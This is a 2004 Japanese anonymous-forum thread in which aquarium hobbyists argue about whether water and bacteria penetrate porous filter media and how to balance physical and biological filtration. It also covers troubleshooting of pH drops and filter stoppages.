毛管現象で水入って、そこに何らかのバクテリアが入れば
バクテリアが良かれ悪かれ何かを生産するわけで
そこでイオン濃度が均衡を保つために分散するので
別に水流はなくても水というかイオンが、動く=生物ろ過
多孔質ってのは水流でバクテリアが働く為の棲家だろ。


152 :名無しさん@お腹いっぱい。:04/03/20 02:58 ID:IKTaT/gU
わかってない奴が燃料投下しても燃えないと思ふ・・・

153 :名無しさん@お腹いっぱい。:04/03/20 02:59 ID:HIdOtyyf
それが浄化に役立つと言えるかどうかはその少ない働きを働きと評価するかどうかじゃない?
確かにしてるからしてると評価するか数値に出ないようなのを無しと判断するか。
俺なら期待できないほど小規模な働きは考えに入れないけどな。

154 :95:04/03/20 03:08 ID:JMnE66qq
あ、最後の行、推敲でおかしくなってた。
○水流で流されないようにバクテリアが…
×水流でバクテリアが…

まあ、簡単にいえば、水流が車、
多孔質の部分が家だとして、道路の部分には住まないだろ。
逆に家に車は突っ込んでこないけど車に積んで
いろんなものを運んだりはできる。

まあ、多孔質ろ材が本当に連続的に孔を連なっているかは
普通には確かめようがないので使ってみて判断するしかないから
>>126は正しいと思うw

155 :95:04/03/20 03:22 ID:JMnE66qq
>>153
少ない働きっていうか、そういう嫌気的な部分がなかったら
生物ろ過としてうまくいかないと思うが。
物理ろ過とプロテインスキマー等の物理的手段しか使わないとか
大型水槽でふんだんにろ過材を使って好気的ろ過と
嫌気的ろ過を意識して濾過層を作るとか、ってなら話は別だが。

156 :名無しさん@お腹いっぱい。:04/03/20 03:38 ID:Zh4jhLr/
>>154
お前のその例えだと、多孔質の穴はその家にあるタンスみたいなもんだよ。
無理やり押し込めば軽なら入るかもしれん。


157 :名無しさん@お腹いっぱい。:04/03/20 03:48 ID:Zh4jhLr/
まぁ一度内径が0.5mmくらいのガラス管でも水に沈めたり、蛇口から水出してみてそこに
立ててみればわかるよ、まったく水入っていかないから。
あと嫌気つっても別に水がガンガン流れてても良いんだよ。酸素さえその前に消費されてれば。

158 :名無しさん@お腹いっぱい。:04/03/20 04:02 ID:HIdOtyyf
よく読めゃ分かるけどさ。脳内定義でこじらせたやつも悪いんだよ。
そこの部分でかなりスレが浪費されてるもんよ。
重要な部分はとても少ない。

159 :95:04/03/20 17:53 ID:JMnE66qq
>>157
ガラス管がどうなるかなんて知らんが
その程度の間隙に毛管現象が働かないなら
植物は生きていけないな。

ttp://www.con-pro.net/readings/soil/chapter03-06.html
だれかこれで計算してみてくれ。

あと嫌気的部分だが一般的に使われてるような上部とか
小型の外部では嫌気的といえるまで酸素を消費しきるなんて
無理だろ、そういうつもりで書いたんだが、
そういう面で有利に多孔質ろ材が働くんじゃないかと。
実際にどう働いてるかなんて見れるわけでもないしわからんから、

使ってみて調子よければなんでもいいんじゃないの?ってこと。

160 :名無しさん@お腹いっぱい。:04/03/20 22:28 ID:nxiXDRxv
「全く水が流れていない」の定義があいまいだから議論がややこしくなってるよね。

たとえば、リング濾材の大きな穴には秒速10cmくらい水が流れているけど、
多孔質の孔には秒速1ミクロンmくらい流れてるとしたら、孔には水が流れていないと認識するかどうか。

上の前提で考えると、157のテストは100万回連続でやらないと答えがでてこないね。
しかも、ドライ濾過の濾材と水没状態の濾材で結果は異なるし。

個人的には濾材と水流を回路として扱って、それを電気回路のモデルに当てはめて、結論をだしてみたけど。
大雑把に言えば「微量だが孔には水は流れる。」だな。

それが濾過バクテリアと関係が有るかどうかは、濾過バクテリアの酸素使用量とか、いろいろ値を出してみないと
これに結論は出ない。

161 :160:04/03/20 22:30 ID:nxiXDRxv
あ、ごめん。100万回→10万回。

162 :名無しさん@お腹いっぱい。:04/03/21 00:37 ID:6KMSxcM8
>>161
その数値の基準は何なのかと

163 :名無しさん@お腹いっぱい。:04/03/21 02:14 ID:5rsw/kUe
>>159
わざわざ調べてご苦労様だが、水中に沈めた毛管には水は充填されないんだよ。
確かに0.5mmのガラス管ならこの計算式だと軽く数mは登るはずだよねぇ。
だけど、入らんのだよこれが。なぜか?そりゃ簡単だよ。沈めた毛管には両方から
水が入ってくるからな。すると中の空気はどうなるか?もうわかったよね。

まぁ水がとりあえず安定してれば、どんな濾過でも構わないという点に関しては
俺も同意だ。ただ、そのためにわざわざあまり意味の無さそうな濾材を買うのは
もったいないよね。という話だと思う。

164 :名無しさん@お腹いっぱい。:04/03/21 03:38 ID:IrIhrqTC
秒速1ミクロンm
秒速1ミクロンm
秒速1ミクロンm

165 :名無しさん@お腹いっぱい。:04/03/21 04:52 ID:hl2p/fOE
植物を例に出した方へ。

植物の根から葉の先のほうへは毛細管現象が役に立って水を送っています。
この場合の毛細管現象は葉の先のほうで水が消費されていくことが大きく違います。
濾材内部では一方から入ったとしてもその向こう側で消費されず通っていくことはありません。

生物の体の内部の細い穴と無機物の細い穴を比べてもこの場合何の対比にはならないでしょう。

完全な間違いや惜しいとは言え勘違いで推論を提示するのはやめましょう。


166 :名無しさん@お腹いっぱい。:04/03/21 05:04 ID:hl2p/fOE
いくら例えるにしても
>大きな穴には秒速10cmくらい水が流れているけど
>多孔質の孔には秒速1ミクロンmくらい流れてるとしたら
という速度を世界に先駆けて自ら編み出し
>それを電気回路のモデルに当てはめて、「微量だが孔には水は流れる。」
いくらなんでもちょっと酷すぎます。

167 :160:04/03/21 07:08 ID:ua/OdGxP
>>166
酷いですか?
水流を電流にたとえるのは電気の法則を理解するために電気基礎の教科書の最初の方に書いてあることです。
だったら、逆も真なりと思ったんですが。
ミクロンについては、「μ」とか「u」とか書くと読めない人もいるかと思ってカタカナにしたんですが、変になっちゃいましたね。
マイクロです。

168 :名無しさん@お腹いっぱい。:04/03/21 08:12 ID:e0wAxTxK
微妙に殺伐としているところ、悪いんだけど・・・
素朴な疑問を。

物理濾過って必要だろうか?
フィルターに入ってくるのは吸い込み口から入ってくる小さなゴミだけ。
そして、どうせこれは腐る。
だったら、別にいらないんじゃないかって気がする。

169 :168:04/03/21 08:15 ID:e0wAxTxK
というのは、漏れは以前海水魚を上部フィルターで飼っていたんだけど
そのとき上部フィルターには砂浜の砂を入れて
ウールは一切引いてなかった。

と言うのは海水魚屋のおやじに
「どうせ腐るんだから、ウールなんて引かなくて良いよ」といわれ
納得したからなんだけど。

今は外部式フィルターで、同じように考えられない部分はあるけど
せいぜいP−1フィルターみたいなスポンジを吸い込み口にセットしておけば
それ以上はいらないと思うんだけど、どうだろう?

170 :95:04/03/21 13:39 ID:9S1u1Gqj
>>163
そっか、完全に水中じゃ、毛管働かんね。
固い土壌としてろ材を見て考えた場合で考えてたもんで。

でも、PHとか、シポなんかは使ってて実際調子いいから
別にそれはそれでいいと思う。固くて崩れにくいし

>>165
根からの毛管じゃなくて、土壌の毛管の話だったんだけど
植物は蒸散やら他の力使って吸い上げもしてるしね。
ただ、勘違いだとの指摘はその通りかも(´・ω・`)

でも、ろ材について一生懸命考える機会なんて滅多にないから
討論することに意義はあると思います。
殺伐になってしまったのであれですが。

>>168
ウールはあったほうがいいんじゃないのかな?
腐るってことはその分解物が出る>硝酸塩、亜硝酸増加
腐る前に取り除くのがいいのでは?掃除もしやすいし
ただ、無しでバランスが保ててるならそれでいいと思います。



171 :名無しさん@お腹いっぱい。:04/03/21 16:21 ID:B2G1uk8Y
とりあえず抽出すれば良い事が書いてある一連の流れ。
余分なのが多いものの。

とにかくメーカーは手痛い反撃を食らう前に本当のことだけで商売すべき。
企業としての規模の大小に関わらずね。

コケ防止効果を持っているとしながらそれ自体にコケが生えるような製品が大杉。

172 :名無しさん@お腹いっぱい。:04/03/21 16:57 ID:9S1u1Gqj
逆に効きすぎて、エビやら弱い水草まで一掃するのもあるしねw

173 :名無しさん@お腹いっぱい。:04/03/21 19:02 ID:9ASPiigw
>>168
物理濾材が別にあれば「それだけ洗える」から楽じゃん。
私は外部フィルターにスポンジを付けているから、2週に1回洗うくらいで、外部(生物濾材のみ)には1年くらいは触らなくてOKだし。

でも、外部の中に物理濾材と生物濾材を入れるのは余り意味がないと思う。どっちみち開けることになるんだから。

174 :名無しさん@お腹いっぱい。:04/03/21 20:20 ID:vMjM++w7
イケチョウガイ欲しい。

175 :名無しさん@お腹いっぱい。:04/03/21 20:29 ID:nA5DaE4A
>>174
水槽に入れておくと良さそうだね

176 :名無しさん@お腹いっぱい。:04/03/21 21:11 ID:W8AdK/KV
二枚貝を水槽内で長期育成するのは難しいぞ。

177 :名無しさん@お腹いっぱい。:04/03/21 22:08 ID:b4w+Wel8
168は物理濾過がいらないとかP−1はつけろとか結局物理濾過は必要だといいたいの?

178 :名無しさん@お腹いっぱい。:04/03/21 23:08 ID:IrIhrqTC
>177
濾過議論の仲間に入れてもらいたかったんだろう

179 :名無しさん@お腹いっぱい。:04/03/21 23:50 ID:r9oFS165
よく分からんが、これが結論になるかどうか。会社の顕微鏡とクロマトつかって調べてみますた。
漏れの炉材には最表面にしかバクテリアいません。よそのヤツがどうだかは知らん。
で、簡単に調べる方法。
セラミック炉材だったら叩いて割ってみる。
バクテリアが繁殖している場所は変色しているはずだから、
内側に向かってキレーに黄色のグラデーションが出来ているなら、
本当にバクテリアは繁殖していると思われる。
もちろん、セラミックなんだから、焼き色が入っている可能性もある。
比較対照に新品の炉材と比べないと駄目だな。

180 :潜水艦  ◆vNFYAR5c0g :04/03/22 00:11 ID:5Kuru7Ia
ろ過ばっかり語る者は、廊下に出てなさいっ!  

181 :名無しさん@お腹いっぱい。:04/03/22 00:14 ID:TPqdNR6L
潜水艦はあいかわらずさぶいな
関西人として恥ずかしい

182 :潜水艦  ◆vNFYAR5c0g :04/03/22 00:16 ID:5Kuru7Ia
>>181
また、再会したね!

183 :名無しさん@お腹いっぱい。:04/03/22 00:18 ID:TPqdNR6L
そもそもアクアリストなのか?

184 :名無しさん@お腹いっぱい。:04/03/22 00:28 ID:eL6MsB5m
潜水艦の正体は、、

聞きたい?俺しってるw

185 :名無しさん@お腹いっぱい。:04/03/22 00:36 ID:TPqdNR6L
聞きたいw

186 :168:04/03/22 00:57 ID:cKJLCJBt
>>177
上部フィルターを使っていたとき、ウールは引いてなかったけど
特に濾過の悪化は感じませんでした。

よほどマメに、それこそ数時間おきにウールを掃除しない限り
腐る→生物濾過だから、あまり意味がないんじゃないかと思って。
特に外部フィルターに物理濾過を期待しても
マメに掃除と言うわけにも行きませんし。


外部フィルターの場合、詰まるということもありえそうだから
多少考慮する必要があるかも、と思ったので
吸水口にスポンジフィルターでもつけたほうが良いかもと考えたのです。



187 :名無しさん@お腹いっぱい。:04/03/22 13:19 ID:7/hygQLD
その給水口のスポンジが物理濾過。
なんでそんなに物理濾過と生物濾過を区別して考えてるの?
詰りそうだからつける・・・・ってそれがウールとかスポンジの役割だと思うけど・・・。
わかってるのにウールをつけないとかよくわからないね。

188 :143:04/03/22 13:57 ID:/MH9p6Pp
ひさびさ来たらまたわからなくなりました。
読んでおくべきスレだけ 「 >>1 」のような感じでお願いします

189 :名無しさん@お腹いっぱい。:04/03/22 16:21 ID:poGkRuPO
なんか混乱気味だなこのスレ。

俺は、物理濾過は汚れを濾しとるイメージ。
生物濾過は、その汚れが自然に分解されるのを促進させるイメージなんだが。

結局、物理濾過に使われるスポンジやウールは微生物の住処になるわけで、
濾しとった汚れをすぐに水槽外に出さなければ、スポンジやウールは生物濾過になると思うよ。
言葉に踊らされすぎじゃない?

190 :名無しさん@お腹いっぱい。:04/03/22 18:32 ID:XY+2ujx/
>>189
同意。 
そんなに神経質気味に考えなくてもいいことだよね。

191 :潜水艦  ◆vNFYAR5c0g :04/03/22 19:46 ID:O9vxNiUG
>>184
教えて! 教えて!

192 :名無しさん@お腹いっぱい。:04/03/22 21:38 ID:K035Dy2o
>>187
なんか意味がわかんないだけど。
区別して何が悪いの?濾過層に大き目のゴミが入らないようにするのは基本中の
基本じゃないかな?分かってるからスポンジを付けてるんだよ?

みんな一緒くたに濾し取っちゃってメンテで取り出すという方法もある。
でも面倒なので入り口で処理しちゃおうってだけだよ?
これだけやり取りしててスタイルの違いがどうしても分からない?

193 :潜水艦  ◆vNFYAR5c0g :04/03/22 22:10 ID:Yiflj3+E
テトラの外かけろ過装置「OTー30」使ってるんだが、
時々、停止するんだよね。
で、モーター部分を掃除すると、また動き出すわけ
多分、モーターの動力部分と、水を吸い上げる水車(インペラー・マグネット)
との連結部分が空回りしてるような気もするんだけど・・・・・

同じシリーズ使用してる奴で、停止するような事故の経験があれば
教えてくれ。

194 :名無しさん@お腹いっぱい。:04/03/22 22:16 ID:7/hygQLD
いやいや、その給水口のスポンジがじゅうぶん物理濾過になってると言いたいわけだけど。
不用派なのか必要派なのかがよくわからないといいたい。
給水口のスポンジとウールマットとの大きな違いについて俺にはよくわかりません

195 :名無しさん@お腹いっぱい。:04/03/22 22:35 ID:poGkRuPO
>>168
>>169
>>170
>>173
>>177
>>186
>>187
>>189
>>192

まとめてみますた。スタイルの違いが分かりました。

196 :名無しさん@お腹いっぱい。:04/03/22 22:52 ID:8kgMRtG2
ところでヤフオク
「PPV(Poripropiren Vacteria)濾材です。ヨーロッパでは高い実績を誇っております」
ってのが出てるんだけど、これってほんとにヨーロッパで実績あるのかしら。
ググって見たけど日本語では見当たらず、英語ではちらちらあったけどワケワカランチン。
値段もそんなにしないからちょっと興味あるんだけど、宗教グッズかしら。

197 :名無しさん@お腹いっぱい。:04/03/23 00:06 ID:7mNtmP4j
>196
リンクを貼らないと誰も相手にしてくれないぞ

198 :潜水艦  ◆vNFYAR5c0g :04/03/23 00:09 ID:ZLz6CKmF
>>184
で。。。オレは一体誰なんだよ!

199 :名無しさん@お腹いっぱい。:04/03/23 12:20 ID:ZHG/DZIW
>>193
水の高さが規定値以下なんでない?

200 :名無しさん@お腹いっぱい。:04/03/23 16:06 ID:pCV7TMOE
今日ブラックホールセットした。
すごいねアレ。

201 :名無しさん@お腹いっぱい。:04/03/23 23:32 ID:msyOkO4T
>>200
詳しく

202 :名無しさん@お腹いっぱい。:04/03/24 00:59 ID:0l3o3O0T
濾材の表面積がどうの言うならこういうのはどうだろうか?
どっかのスレで既出だけど
ttp://www.netpc.jp/sakurapet/index.html
俺なんかはノウハウもないド素人だけど、2年経過後から、これでもかというデカさのプレフィルター自作して取り付けたらすごく安定したよ。
一番先頭には市売の物理濾過用に小さいプレフィルター付けてそれのみ定期的に洗浄。
でかい自作プレフィルターとプライムには安いリングの濾過材入れてて、これはもう2年開けてない。
濾過材が崩れて減ってるかもしれないから、そのうち開けてみようと思うけど。

203 :名無しさん@お腹いっぱい。:04/03/24 05:33 ID:pcR3+TJR
触る(洗浄とか)すると崩れるような安物濾材でも触らなきゃ意外と丈夫なもんだよ。
へたに触るから崩れる。

204 :名無しさん@お腹いっぱい。:04/03/24 12:51 ID:WHUoTNOm
別に安いやつでもいいけど、触ってくずれるようなのはやだなw
崩れるようなろ材なら洗車スポンジのが(・∀・)イイ

205 : ◆Yakuza9rpM :04/03/25 17:29 ID:AmU2B+n8
>>193
ウチのも時々ある
けど症状がチョット違うっぽい
コンセントを入れても回らない、何回か抜き差しすると動く

206 :名無しさん@お腹いっぱい。:04/03/25 21:43 ID:9/k71EDc
>>193
>>205
外掛けフィルタースレってのがあるからそっちで聞いてみれ
【物理濾過】総合外掛けフィルター【改造de生物濾過】
http://hobby.2ch.net/test/read.cgi/aquarium/1078833217/

207 :名無しさん@お腹いっぱい。:04/03/26 00:25 ID:/1y1afmx
質問スレで放置プレーにあったのでここで質問させてください
90x45x45水槽で、上部フィルター(リング濾財4`+ウールマット)、エーハイム2213(サブストラット+スポンジ)で
10cm程のゴリアテタイガー2匹(+餌のめだか常時30尾〜)を飼育しているのですが
PHが、水換えで6以上にしても、数日後には4.5とか5.0まで下がるのは異常ですか?
水槽立ち上げて約8ヶ月、2213は2ヶ月前に清掃しましたが上部は濾材を軽くすすいだのみです(それでOKと聞いたので)
あと、ブラックホールを上部に入れています
大粒のサンゴ砂を微量上部に入れてPHのダウンを防ごうか考えてますが、硬度まで上がらないかが心配です


208 :名無しさん@お腹いっぱい。:04/03/26 00:47 ID:umU3MHOu
>>207
そりゃゴリアテタイガーなんて飼ってる香具師そんなにいないって...
という事でオレも飼ってはいないんだが、肉食魚飼ってるとpHの低下が早いのは確かだが
数日でというのはちょっと早いような気がするな

濾材は軽くすすぐぐらいでいいけど、ウールはしっかり洗った方が良い。または交換
上部と外部があるなら、両方一度にやらないで、日を置いて一個ずつ交換するなら
それ程濾過に影響を与えずに交換できる

底砂は何か入れてる?
入れてるんなら汚れが溜まっているのかもしれない

サンゴ砂でpH調整して、なんてのは最後の手段
(だけど肉食魚飼ってるなら必要になるかもしれない手段)
とりあえずそれは置いといて濾材や底砂の汚れ対策を先にしてみれ

209 :名無しさん@お腹いっぱい。:04/03/26 00:50 ID:AASpsMZ0
飼育期間が長くなってくると水道のpHが高い地域でもない限り
下がるのはしかたないかと。
サンゴ砂を使うと高度の上昇は避けられないけど、
ゴリアテって低硬度じゃなくてもだいじょうぶじゃなかったっけ?

210 :名無しさん@お腹いっぱい。:04/03/26 01:23 ID:9M9CBs21
やっぱりあの堅い濾材の中を水が通過しているとは思えない。
水の中にスポンジいれてよこから水をあてても
スポンジの中を通過するどころか、水はスポンジの表面から
横に逃げて向こう側に向かうから。そりゃあ相当な圧力をかけるとか
水に逃げ場がなければスポンジを通過すると思うけど。
179が証明したようにバクテリアは内部ではほとんど繁殖しないと思う。

211 :コピペ:04/03/26 01:59 ID:cBfWDlze
>>208

地球は、毎秒400メートルの速さで自転し、30キロで公転し、
さらに200キロで太陽系が銀河系の中を公転している。
これを全部足すと、複雑ならせん運動になるのだが、
この運動自体が命を育むエネルギーなのだというものだ。
水を入れてこの運動をさせると、物質を加えないのに
ペーハーががらりと変るらしい。

by 神坂新太郎


212 :名無しさん@お腹いっぱい。:04/03/26 03:07 ID:/1y1afmx
>>208
ガーネットサンドを薄く敷いてます
糞はマメにあみで掬ってますが・・・
濾材は1kg1000円弱のものですが、それがいけないのかな・・・(薄緑色の箱の、名前は忘れました)
パワーハウスのハードタイプってPH下がりにくいってのは本当ですかね?

>>209
飼育期間が長くなってくると下がる、というのはどういう事ですか?

213 :名無しさん@お腹いっぱい。:04/03/26 03:30 ID:5hbHQhEn
ガーネットサンドって重いよね?なので掬うだけじゃ汚れを取り除いてる
とは言えない気がする。水替えの時に砂を吸いながら水を抜くようにして
砂を毎回綺麗にしとかないと有機物が多く残ってpHダウンの要素を多く
残すんだと思う。

飼育期間が長いと濾過が安定して有機物を速やかに硝化するよね。
なので餌→ウンコ→硝酸→pHダウンの速度が速まるんだと思われ。
基本的には良いことだと思うよ。ただpHだけをみると少し早く変動するってこと。

214 :名無しさん@お腹いっぱい。:04/03/26 03:32 ID:5hbHQhEn
>>210
でも信じるに足るメーカーは通ると解説してるよ

215 :名無しさん@お腹いっぱい。:04/03/26 10:17 ID:l2ElnfnD
肉食魚は週一水換え必須だろ、ところで餌あげる頻度どのくらい?
そこまで酸性にかたむくってっと毎日やってるとしか思えん
いろいろやってみて、なんともならんようなら砂糖添加スレ行ってみれ
うちの亀水槽(肉大食)は何とかなった

216 :名無しさん@お腹いっぱい。:04/03/26 12:08 ID:RwADD31I
>>214
信じるに足るメーカーってどこ〜?

217 :名無しさん@お腹いっぱい。:04/03/26 13:09 ID:3X51FiMq
信じてるメーカーだからって全部鵜呑みにするのはアホだろ

218 :名無しさん@お腹いっぱい。:04/03/26 13:22 ID:bJ3965L4
いや、信じれるんだってば。

219 :名無しさん@お腹いっぱい。:04/03/26 20:49 ID:9M9CBs21
広告はウソ多いよ。マジで
ただ、表面積が多い方が有利みたいだから、ボコボコが
いっぱいあるほうが濾材としては向いてるってことだね

220 :名無しさん@お腹いっぱい。:04/03/26 23:42 ID:9xRGPb4T
濾材内部でも濾過は激しくされているんです
そのように設計されてます

221 :名無しさん@お腹いっぱい。:04/03/26 23:45 ID:I+AzkOv5
>>210
リングろ材の半分をサイコロスポンジに変更した。
濾過材総量がが多いためか不安定になることもなく、一ヵ月後には以前より硝酸塩の上昇が少なくなった。
嫌気性バクテリアの働きが良くなったということになる。
完全に通過してるかどうかは分からないけど、内部の浅い部分や、スポンジなので変形してスポンジ同士の接触面積がサイコロよりも増えるとかして、水がゆっくり流れる部分が増えて嫌気部分が増えたのかもしれない。
通過するかどうかは分からないけど、いかに入り組んだ形状で嫌気部分が増えれば、そこで有効に働く濾過もあるってところだろうか。


222 :名無しさん@お腹いっぱい。:04/03/27 01:55 ID:9F//07PD
信じる者は儲けのタネ

223 :名無しさん@お腹いっぱい。:04/03/27 08:44 ID:8jilwzrU
嫌気性濾過もものすごい役立っているのはメーカー発表で実証されてます。
メーカーが発表してるんですよ?
信じられます。

224 :名無しさん@お腹いっぱい。:04/03/27 12:46 ID:Osx3oT0O
釣りだよ・・・

225 :名無しさん@お腹いっぱい。:04/03/27 13:22 ID:WVCJaXNi
前から聞きたかったのだが、嫌気性ってなんて読むの?


226 :名無しさん@お腹いっぱい。:04/03/27 13:46 ID:fEYaNd2G
>>225

いやきしょう

227 :名無しさん@お腹いっぱい。:04/03/27 13:46 ID:Uf1GGSMN
いやきしょう


と答えて見るテスト

228 :名無しさん@お腹いっぱい。:04/03/27 14:21 ID:/RwPTbop
いやけさが

だろ!!

229 :名無しさん@お腹いっぱい。:04/03/27 15:33 ID:WMJNTHZU
マジレスすると「けんきせい」
酸素を嫌うということ。

230 :221:04/03/27 20:48 ID:1/aXTUgd
>>224
釣りじゃないぞ
ただ、何で上昇しにくくなったのか分かりようがないんだけどね。
やったことはリングを半分捨てて濯いでサイコロスポンジを入れてセットしただけ。
あとはそのまま弄ってないからスポンジが良かったのかな?、と思ったわけ。

濾過槽内に、栄養ドリンクの空き瓶の中にろ材を入れたものを入れておく人もいるね。
瓶内は水流がゆっくりになり、中で嫌気性細菌のろ過を期待して。

231 :名無しさん@お腹いっぱい。:04/03/27 23:03 ID:ZguWvD2P
 嫌気性は好気性の濾過より数倍の時間はかかるそうなので
濾過槽が小さい場合は換水の頻度を上げた方がかえって楽ですね。

 これは10年以上前なんだけど船橋奥地で三菱の洗濯機の下請けかつ
建材メーカーのマジ話なので信用はできると思う。

232 :名無しさん@お腹いっぱい。:04/03/28 00:00 ID:WS+gLASR
外部密閉式は、上部式や底面式と比較して
かなりの大差で生物濾過能力が劣ります。
前者の濾過装置の能力は同面積の濾材を入れた
投込み式の濾過能力より劣るそうです。

233 :名無しさん@お腹いっぱい。:04/03/28 00:01 ID:PEUbLn/7
浄化槽や汚水処理場の立ち上げ時には
すでに稼動しているところのバクテリアを含む汚泥を
投入するそうで、汚泥を沈殿させる仕組みがあるかないかで、
その能力差が大きく分かれるそうです。(特に嫌気)
だから底面は吹上げにするか、プロホースでザクザク掃除ぐらいに
とどめて、リセットする時以外はユニット取り出した掃除は厳禁。
(せっかく溜まった汚泥がなくなっちゃうからね)
上部は濾過層の底に溜まった汚泥を取り除いてはダメ。
OF濾過層も沈殿槽が無い仕組みだと意味なし。

234 :名無しさん@お腹いっぱい。:04/03/28 00:01 ID:7t/oQTiq
WHY?

235 :名無しさん@お腹いっぱい。:04/03/28 00:10 ID:SIvgl+U8
>>233
ここで説明してやっても無駄に近いんだよねぇ。
もったいないけどさ。外部を月に一度は開けたいようなのが常駐してるし。
なんとかみんなの飼育環境を良くして差し上げられたらと考えてこれまでも
多くの方がいろんな方法を示してもなんともひどいレスばかり。

挙句はメーカーがこう説明してるから信じるだとさ。
その信じてるメーカーに笑われてるのに気づかず。


236 :名無しさん@お腹いっぱい。:04/03/28 00:13 ID:xd0UyBVZ
そんな極端なやつは極少数>>235


237 :名無しさん@お腹いっぱい。:04/03/28 00:18 ID:k15N6Rsr
濾過なんてそこに住んでる人に聞かないとわかんね。

えびや魚に聞いてみろよ。

「居心地はどうですか?」って。

わかんね。 わかんね。

だからもうなんもわかんねの。 

おはーなし おはーなーししよーうよー。

238 :名無しさん@お腹いっぱい。:04/03/28 00:46 ID:WDiEtlXO
濾過に住んでる人などいない

239 :名無しさん@お腹いっぱい。:04/03/28 00:50 ID:SIvgl+U8
>>236
少数でも活動が活発なら数の不利を覆すような事例ってあるじゃん?
例えば市民団体とか。

間違ってても活発に活動することで表面上の正しさみたいなのを誤魔化すのって
けっこういるよね。具体例を挙げて説明してやっても絶対に自分の間違いを
認めようとしないの。行き着く先は「実証してみろ」。自分は絶対に実証しないの。

240 :名無しさん@お腹いっぱい。:04/03/28 00:53 ID:k15N6Rsr
    ∩ ∩
    | |  | |
    | |  | |
    / b   b\   
    (  Å  )  おはーなし おはーなーししよーうよー。

241 :名無しさん@お腹いっぱい。:04/03/28 01:00 ID:PEUbLn/7
>>235
うーん。やっぱり無駄なんだろうか?
でも、月に一度外部を開けるのはある意味正解じゃないですか?
生物濾過はまったく考慮せず、物理濾過と化学濾過(活性炭吸着)
だけでやるならその方がいい。
外部がまったくダメってわけじゃなくて、生物濾過を期待するのが
ダメってだけだから。

242 :名無しさん@お腹いっぱい。:04/03/28 01:09 ID:Q3+EiafA
そもそも生物濾過というものの軽重を問う話になってきたな。
水換え前提の水槽だと、生物濾過を期待したりせず物理濾過をしっかりやった方が意味があるのかも知れん。

243 :名無しさん@お腹いっぱい。:04/03/28 01:12 ID:84XdDcY3
素朴な疑問だが物理ろ過だけでアンモニアや亜硝酸を除去できるのかな

244 :名無しさん@お腹いっぱい。:04/03/28 01:22 ID:PEUbLn/7
>>242
なるべく換水したくなければ、水草どばどば入れてエアレーション。
水草主体でも夜はエアレーションしないとね。
これでもやっぱり物理濾過はやったほうが長く維持できる。

245 :名無しさん@お腹いっぱい。:04/03/28 02:04 ID:Jf0sEjuY
アンモニアの問題があるから、物理だけじゃ限界がある罠。
生物濾過ができてりゃ物理不要とも言えないか?
好気担当は投込みフィルターで十分だろ。
嫌気担当はプレフィルターつきの外部密閉で排水を底面吹上げ。
どっちの濾過も詰まるまで洗わない。
嫌気担当はプレフィルターしか洗わない。
これでどうよ?やっぱ俺が人柱になんないとダメ?

246 :221:04/03/28 10:24 ID:MoqgKEej
>>245
ゴミは水中を舞って葉っぱとか汚すし、メンテのためにプレフィルター使ってる。
俺も同じで物理担当の小さいプレフィルターしか洗わない。
生物ろ過の本体フィルターとうすらでかいプレフィルターは、この前質問して弄らないほうが良いということらしいし、もう2年も開けてなくて、開けたとたんパッキン破壊とか何だかぶっ壊しそうなので・・・。

生物ろ過に疑問を持ってる人たちに、30Lとかのでかいプレフィルターはホントお勧めだよ。
90規格水槽にプライムの一番小さいやつだけど、コケも生えないし、硝酸塩も下がってるので言い切ってもいいかなと思う。
それでも一応水交換はしてるけど、放っておいても検出出来るぎりぎり以上には上がらない。

247 :名無しさん@お腹いっぱい。:04/03/28 10:25 ID:MoqgKEej
あ、上の221さんとは別人ね

248 :名無しさん@お腹いっぱい。:04/03/28 15:21 ID:Fe5kVO9G
>>256
その水槽で何をどれだけ飼ってるの?

249 :名無しさん@お腹いっぱい。:04/03/28 15:46 ID:wbpVsyLd
いまふと思った。
二十リットルぐらいのポリ缶でプレフィルタもどきをいっぱい作ってさ。
水循環させながら熱帯魚屋さんにいっぱい並べとくの。
みんなそれを借りて帰って外部フィルタに接続して、そろそろ水換えかなあ、って頃に熱帯魚屋さんに行ってメンテ済みのポリ缶と交換。
熱帯魚屋さん小銭稼げてウマー、お客水槽立ち上げとか水換えとかの手間省けてウマー。

どうよ?
ビジネスモデル特許取れる?

250 :名無しさん@お腹いっぱい。:04/03/28 16:26 ID:UUPcTQa2
うん

251 :名無しさん@お腹いっぱい。:04/03/28 16:49 ID:Iu7wfG3q
そろそろ水換えかなあ、って頃に自分とこに
もう1つプレフィルタもどき用意しとけばいいんじゃない?
うちは外部フィルタにサブフィルもどき灯油のポリタンクを繋げて
水量20リッタ位増量です

252 :名無しさん@お腹いっぱい。:04/03/28 19:26 ID:cwm7pC6c
銅線て効くかな?
試しに買ってみたけども

253 :名無しさん@お腹いっぱい。:04/03/29 03:52 ID:M/yZe1rx
>>249
店に戻って来たフィルターを完全滅菌消毒して立ち上げ直すとかしないと
どこか一ヶ所で発生した病気が全部の客の水槽に広まる可能性が高い
完全に滅菌消毒するんだったら次に出せるまで1ヶ月ぐらいはかかるから、
回転が悪い
結構リスク大きいかも

254 :名無しさん@お腹いっぱい。:04/03/29 10:39 ID:kIBU72eE
少し濾過の話からはなれてしまうのですが、質問してもいいでしょうか?
家の近所の熱帯魚やは2件とも、蛇口からマーフィードスタンダードの浄水器を通して
水槽にドボドボと水をいれてますが、あれは問題ないのですか?
なんかの本で、R/Oフィルターを通した水は無調整では使えない
みたいな事書いてあったと記憶すしているのですが…。
あれが問題ないととっても楽そうですが、実際はどうなんでしょう?
でも熱帯魚屋がやってるから問題ないってことかな〜

255 :名無しさん@お腹いっぱい。:04/03/29 11:41 ID:CfYEdIIZ
よくしらんけど、イオン交換とか逆浸透ろ過の場合は
純水に近くなってるから、イオンが溶け込みやすくて
pHが急激に変わりやすいから注意ってことじゃないかな。

ってか、熱帯魚屋って普通置き水してあるだろw

256 :名無しさん@お腹いっぱい。:04/03/29 12:16 ID:TKPkGG3T
なんでR/Oの水はダメって知識でスタンダードを怖がるの?
別のモノだよ?

257 :254:04/03/29 12:23 ID:kIBU72eE
>>256
別ものってどういうことなんですか?
詳しそうなので教えてください。

258 :名無しさん@お腹いっぱい。:04/03/29 16:03 ID:GRwSIepU
>>256
何で>>248の質問に答えてやらなかった

259 :名無しさん@お腹いっぱい。:04/03/30 01:57 ID:ZjpzIQIm
外部フィルターを2つ用意して
直列(1つ目プレフィル)、または並列につなぐのと
どちらが濾過能力あがりますか?



260 :名無しさん@お腹いっぱい。:04/03/30 03:06 ID:C03eM7jN
並列ってのは二つ別に稼動させるってことかな?

直列だとプレの負荷がかかる分水流が弱まるからやや濾過は働きやすくなる
